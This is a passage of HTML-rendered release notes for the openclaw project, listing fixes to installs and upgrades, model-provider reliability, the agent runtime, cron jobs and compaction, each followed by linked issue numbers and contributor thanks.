data-hovercard-url="/openclaw/openclaw/pull/112988/hovercard" href="https://github.com/openclaw/openclaw/pull/112988">#112988</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986390655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114477/hovercard" href="https://github.com/openclaw/openclaw/pull/114477">#114477</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4849120016" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103077/hovercard" href="https://github.com/openclaw/openclaw/issues/103077">#103077</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4849448318" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103089" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103089/hovercard" href="https://github.com/openclaw/openclaw/issues/103089">#103089</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957948039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113005/hovercard" href="https://github.com/openclaw/openclaw/issues/113005">#113005</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982859022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114187/hovercard" href="https://github.com/openclaw/openclaw/issues/114187">#114187</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987069083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114524" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114524/hovercard" href="https://github.com/openclaw/openclaw/pull/114524">#114524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986789514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114504" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114504/hovercard" href="https://github.com/openclaw/openclaw/pull/114504">#114504</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013429350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116077" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116077/hovercard" href="https://github.com/openclaw/openclaw/pull/116077">#116077</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5019733559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116399/hovercard" href="https://github.com/openclaw/openclaw/pull/116399">#116399</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lockhartheavyindustries/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lockhartheavyindustries">@lockhartheavyindustries</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flashosophy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flashosophy">@flashosophy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/realaudreyserber-afk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/realaudreyserber-afk">@realaudreyserber-afk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hvhoon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hvhoon">@hvhoon</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Install and upgrade:</strong> preserve working installs on unsupported Node and npm 12, isolate source postinstall state, repair missing native adapters, keep versioned plugins off source paths, avoid dirty source builds, repair plugin config during upgrades, stabilize package-to-dev switches, restore production installs after the TypeBox package removal, ship documented plugin SDK typings, and discover external web-search plugins on fresh installs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879188128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/106994/hovercard" href="https://github.com/openclaw/openclaw/pull/106994">#106994</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4878236893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/106870/hovercard" href="https://github.com/openclaw/openclaw/issues/106870">#106870</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890203029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108100/hovercard" href="https://github.com/openclaw/openclaw/pull/108100">#108100</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881202927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107290/hovercard" href="https://github.com/openclaw/openclaw/issues/107290">#107290</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924005165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111514" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111514/hovercard" href="https://github.com/openclaw/openclaw/pull/111514">#111514</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923978591" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111513/hovercard" href="https://github.com/openclaw/openclaw/issues/111513">#111513</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4926165112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111682/hovercard" href="https://github.com/openclaw/openclaw/pull/111682">#111682</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954520126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112829" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112829/hovercard" href="https://github.com/openclaw/openclaw/pull/112829">#112829</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954514962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112827/hovercard" href="https://github.com/openclaw/openclaw/issues/112827">#112827</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960910387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113094/hovercard" href="https://github.com/openclaw/openclaw/pull/113094">#113094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968769903" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113324/hovercard" href="https://github.com/openclaw/openclaw/pull/113324">#113324</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977632828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113856/hovercard" href="https://github.com/openclaw/openclaw/pull/113856">#113856</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977354316" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113821" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113821/hovercard" href="https://github.com/openclaw/openclaw/pull/113821">#113821</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980132285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114090/hovercard" href="https://github.com/openclaw/openclaw/pull/114090">#114090</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983389627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114215" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114215/hovercard" href="https://github.com/openclaw/openclaw/pull/114215">#114215</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978660519" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113975/hovercard" href="https://github.com/openclaw/openclaw/issues/113975">#113975</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984566076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114327/hovercard" href="https://github.com/openclaw/openclaw/pull/114327">#114327</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5000827181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115292" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115292/hovercard" href="https://github.com/openclaw/openclaw/pull/115292">#115292</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5018357091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116333" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116333/hovercard" href="https://github.com/openclaw/openclaw/pull/116333">#116333</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5018548141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116345" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116345/hovercard" href="https://github.com/openclaw/openclaw/pull/116345">#116345</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woohahahaaa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woohahahaaa">@woohahahaaa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alxfyvwebaccts-png/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alxfyvwebaccts-png">@alxfyvwebaccts-png</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pash-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pash-openai">@pash-openai</a>.</li>
<li><strong>Provider reliability:</strong> prevent false Codex exhaustion and silent replies, honor Anthropic Retry-After, preserve selected Claude CLI profiles and adopted chats, remove the rejected Codex OAuth realtime fallback, recover stalled Claude CLI sessions without losing native cache continuity, reuse plugin metadata during model selection, bound stalled provider response bodies, and stabilize Ollama/LM Studio/local-model discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916528232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110381/hovercard" href="https://github.com/openclaw/openclaw/pull/110381">#110381</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744977481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/96815" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/96815/hovercard" href="https://github.com/openclaw/openclaw/issues/96815">#96815</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920198968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110980/hovercard" href="https://github.com/openclaw/openclaw/pull/110980">#110980</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920623934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111072" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111072/hovercard" href="https://github.com/openclaw/openclaw/pull/111072">#111072</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857154981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103849/hovercard" href="https://github.com/openclaw/openclaw/issues/103849">#103849</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944343054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112458" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112458/hovercard" href="https://github.com/openclaw/openclaw/pull/112458">#112458</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712072101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/95612" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/95612/hovercard" href="https://github.com/openclaw/openclaw/issues/95612">#95612</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885272890" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107668/hovercard" href="https://github.com/openclaw/openclaw/issues/107668">#107668</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960736801" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113078" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113078/hovercard" href="https://github.com/openclaw/openclaw/pull/113078">#113078</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971575410" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113393" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113393/hovercard" href="https://github.com/openclaw/openclaw/pull/113393">#113393</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985315526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114397" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114397/hovercard" href="https://github.com/openclaw/openclaw/pull/114397">#114397</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980251264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114094/hovercard" href="https://github.com/openclaw/openclaw/pull/114094">#114094</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980002689" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114086/hovercard" href="https://github.com/openclaw/openclaw/issues/114086">#114086</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984384669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114288/hovercard" href="https://github.com/openclaw/openclaw/pull/114288">#114288</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985459345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114405" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114405/hovercard" href="https://github.com/openclaw/openclaw/pull/114405">#114405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4988091335" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114582/hovercard" href="https://github.com/openclaw/openclaw/pull/114582">#114582</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999135139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115211/hovercard" href="https://github.com/openclaw/openclaw/pull/115211">#115211</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4995815276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115021" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115021/hovercard" href="https://github.com/openclaw/openclaw/issues/115021">#115021</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977727068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113866" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113866/hovercard" href="https://github.com/openclaw/openclaw/pull/113866">#113866</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980956576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114117/hovercard" href="https://github.com/openclaw/openclaw/pull/114117">#114117</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4903282663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109088" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109088/hovercard" href="https://github.com/openclaw/openclaw/pull/109088">#109088</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxw77/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxw77">@xxw77</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cstreeter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cstreeter">@cstreeter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/josh-cornelius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/josh-cornelius">@josh-cornelius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lanyoung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lanyoung">@lanyoung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonidasLux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonidasLux">@LeonidasLux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BomBastikDE/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BomBastikDE">@BomBastikDE</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SunnyShu0925/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SunnyShu0925">@SunnyShu0925</a>.</li>
<li><strong>Agent and Codex runtime:</strong> bound malformed Code Mode repair to one correction turn, preserve valid native Codex controls, keep promoted approvals from blocking unattended runs, and retain the original requester when an approval is promoted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5006527709" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115729" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115729/hovercard" href="https://github.com/openclaw/openclaw/pull/115729">#115729</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5001115644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115311" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115311/hovercard" href="https://github.com/openclaw/openclaw/issues/115311">#115311</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884142768" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107588/hovercard" href="https://github.com/openclaw/openclaw/pull/107588">#107588</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014329104" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116117/hovercard" href="https://github.com/openclaw/openclaw/pull/116117">#116117</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014930433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116152" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116152/hovercard" href="https://github.com/openclaw/openclaw/pull/116152">#116152</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li><strong>Cron reliability:</strong> restore one-shot and startup catch-up jobs, preserve script state and scheduled authority across restarts, accept benign same-generation updates, bind jobs to the durable store session, unblock completed jobs behind slower batches, and trim job IDs before exact lookup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880694705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107236" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107236/hovercard" href="https://github.com/openclaw/openclaw/pull/107236">#107236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916390578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110351/hovercard" href="https://github.com/openclaw/openclaw/pull/110351">#110351</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839090334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102236" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102236/hovercard" href="https://github.com/openclaw/openclaw/issues/102236">#102236</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921864793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111292" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111292/hovercard" href="https://github.com/openclaw/openclaw/pull/111292">#111292</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921720973" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111271/hovercard" href="https://github.com/openclaw/openclaw/issues/111271">#111271</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111272/hovercard" href="https://github.com/openclaw/openclaw/issues/111272">#111272</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721187" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111273/hovercard" href="https://github.com/openclaw/openclaw/issues/111273">#111273</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111274" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111274/hovercard" href="https://github.com/openclaw/openclaw/issues/111274">#111274</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944973921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112483/hovercard" href="https://github.com/openclaw/openclaw/pull/112483">#112483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960838098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113088" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113088/hovercard" href="https://github.com/openclaw/openclaw/pull/113088">#113088</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960795861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113085/hovercard" href="https://github.com/openclaw/openclaw/issues/113085">#113085</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985644738" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114421/hovercard" href="https://github.com/openclaw/openclaw/pull/114421">#114421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985901461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114441" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114441/hovercard" href="https://github.com/openclaw/openclaw/pull/114441">#114441</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919276293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110849/hovercard" href="https://github.com/openclaw/openclaw/pull/110849">#110849</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SL4N/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SL4N">@SL4N</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metahacker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metahacker">@metahacker</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nocodet888-arch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nocodet888-arch">@nocodet888-arch</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Compaction and response delivery:</strong> account for CJK text in compaction estimates and treat <code>no_compactable_entries</code> as a benign skip. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985174407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114386" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114386/hovercard" href="https://github.com/openclaw/openclaw/pull/114386">#114386</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858439507" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103930/hovercard" href="https://github.com/openclaw/openclaw/issues/103930">#103930</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985987865" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114449/hovercard" href="https://github.com/openclaw/openclaw/pull/114449">#114449</a>; related 